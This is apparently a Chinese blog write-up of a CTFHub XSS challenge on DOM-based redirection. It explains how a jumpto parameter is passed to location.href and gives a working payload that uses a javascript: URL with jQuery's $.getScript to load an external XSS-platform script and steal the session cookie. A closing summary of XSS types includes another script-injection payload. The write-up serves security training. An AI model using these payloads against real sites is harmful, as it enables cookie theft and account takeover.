XSS3-DOM跳转(ctfhub)
前言:这里煮啵用了另一种XSS平台:https://xssjs.com/
原来的平台貌似不支持JQ,而本题需要使用JQ
一.题目链接:
https://www.ctfhub.com/#/skilltree
二.基础知识
2.1 DOM跳转
- 是什么:是一种基于客户端的安全漏洞,攻击者通过操纵网页的DOM来强制将用户重定向到恶意网站。这种攻击完全在浏览器上完成,不依赖服务器端的响应。
- 如何利用:本题通过
javascript:重定向,以及JQ的函数异步加载xss平台的js脚本代码2.2 JQ中的$.getScript() 函数的异步加载
- 是什么:是一个用于异步加载并执行外部js文件的函数,它的核心特点是非阻塞式加载,即不会阻塞页面其他内容的渲染和脚本执行
- 语法:$.getScript(url[,sucessCallback])
1.url:要加载的js地址,本题填的就是我们的恶意代码平台的地址
2.sucessCallback(可选):加载成功后的回调函数,文件加载并执行完成后触发
三.代码分析
关键代码为
<!-- Output -->
<hr>
<div>
<h1>Hello, CTFHub
</h1>
<script>
var target = location.search.split("=") //拆分URL参数
if (target[0].slice(1) == "jumpto") { //检查参数名是否为"jumpto"
location.href = target[1]; //直接跳转到参数指定的地址
}
</script>
#代码参数说明:
1.target = location.search.split("=")
1.1.location.search --》 获取当前的URL查询字符串(即?后的部分)
1.2.split("=") --》 将查询字符串按照=拆分成数组
1.3.target[0] --》 指的是等号前面的,例如:"?jumpto"
1.4.traget[1] --》 指的是等号后面的,例如:"http://evil.com"
2.(target[0].slice(1) == "jumpto")
2.1.traget[0].slice(1) --》 前者指拆分后的第一个元素,如"?jumpto",包含?符号,而后面的是从字符串的第一个字符开始截取(去掉开头的?)
2.2.如果这里的值等于后面的等号的值,那么就会执行下面的内容
3.location.href = target[1]
3.1.traget[1] --》 是拆分后的第二个元素,即等号后面的值
3.2.location.href = ... --》 强制跳转到指定的URL
通过这段代码,我们知道想要url执行我们的代码,就要跟在?jumpto的后面,接着再通过javascript重定向到xss平台
四.开始解题
1.构造链接来加载xss平台的代码,这里可以直接在第二个框框内输入,点击发送就可在xss平台上看到结果
http://challenge-7e50541bbb3dc17b.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("xs.pe/QK7")
#构造解析:
#javascript:伪协议准许直接执行后续的代码
#$.getScript()是JQ方法,动态添加并执行外部JS文件
2.点击项目,找到cookie并拿到flag

五.常见的xss攻击总结
这里讲解反射型,存储型,DOM反射,DOM跳转的区别
5.1.反射型
概念
- 1:最简单的一种,恶意代码在URL中,用户点击URL,就能得到信息
5.2.存储型
概念
- 1:恶意参数被存储起来了,通常存储在后端服务器中,所以当我们在网页上输入内容时,URL地址中并不返回我们输入的内容,反射和存储都直接在
标签中执行,不需要额外的构造js代码引发XSS- 2:一般情况下,当攻击者将恶意代码通过表单传递到服务器当中去时,会得到一个新的URL,但是这个URL并无明显异常。但是当存在存储型XSS时,受害者打开此URL,攻击代码就会被触发。
- 利用:只要将恶意代码放在表单发送给服务器,再将生成的URL发送给用户点击,就能得到cookie
5.3.DOM反射
概念
- 1:恶意脚本通过URL参数传递,但不经过服务器,直接由客户端JS动态操作DOM。简单来说就是:页面显示的内容是在js中的,可以通过闭合js代码,引入自己的代码来实现攻击
- 关键词:通过闭合原来代码,执行恶意代码
- 利用:通过
';</script></textarea>'"<script src=xss平台上的恶意代码></script>类似于这样的代码来触发xss
5.4.DOM跳转
- 1:通过跳转逻辑间接引发XSS
- 关键词:javascript重定向和$.getScript跳转函数
- 利用:通过
?jumpto=javascript:$.getScript("xs.pe/QK7")类似于这样的代码来触发xss

浙公网安备 33010602011771号